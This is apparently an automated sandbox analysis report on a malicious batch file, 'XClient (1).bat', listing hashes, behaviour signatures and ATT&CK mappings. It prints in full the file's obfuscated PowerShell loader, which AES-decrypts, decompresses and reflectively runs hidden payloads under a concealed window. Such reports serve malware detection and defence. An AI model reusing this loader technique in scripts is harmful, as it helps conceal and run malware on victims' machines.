b953aae6b09f2002ca056f6cef521960a91711152d5ebd5cf0055d9a491a5554

Resubmissions

07/11/2024, 23:56

241107-3zdm8a1aml 10

Analysis

max time kernel
122s
max time network
130s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/11/2024, 23:56

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General

Target

XClient (1).bat
Size

72KB
MD5

73585d18685e06c4f21302c275ca6682
SHA1

dd0bae964a108a1c923a1f9b99e72f82064786dd
SHA256

b953aae6b09f2002ca056f6cef521960a91711152d5ebd5cf0055d9a491a5554
SHA512

00b2276e24b96b9b8c0629a1913f8a1c0ee7ab12e2fa4ce8f9b54fabeb02b0383eb183b1d45f16e86175108a9c7990f40a4671e29a2dde8400dbb60d3974b08a
SSDEEP

1536:PhOHtmQQ2yEPUWKzKbYd1P/OCWA7Vm6H/j5z5y3Wdjyh:YvTMKY1OCF0xWV+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2412	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 2412	2916	cmd.exe	31
PID 2916 wrote to memory of 2412	2916	cmd.exe	31
PID 2916 wrote to memory of 2412	2916	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient (1).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lt7J5oQYvdPE/yPR3udzzOgcuFCXB9kkjS82/1mR/YU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FE87bzzPEJCKUD9ywpxuRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WEOQY=New-Object System.IO.MemoryStream(,$param_var); $YzqMc=New-Object System.IO.MemoryStream; $DahLb=New-Object System.IO.Compression.GZipStream($WEOQY, [IO.Compression.CompressionMode]::Decompress); $DahLb.CopyTo($YzqMc); $DahLb.Dispose(); $WEOQY.Dispose(); $YzqMc.Dispose(); $YzqMc.ToArray();}function execute_function($param_var,$param2_var){ $RqagN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HUCEB=$RqagN.EntryPoint; $HUCEB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient (1).bat';$qvcZY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient (1).bat').Split([Environment]::NewLine);foreach ($zHSKO in $qvcZY) { if ($zHSKO.StartsWith(':: ')) { $VrWEJ=$zHSKO.Substring(3); break; }}$payloads_var=[string[]]$VrWEJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2412-4-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

Filesize
4KB

Download
memory/2412-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2412-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2412-7-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-8-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-9-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-10-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-11-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download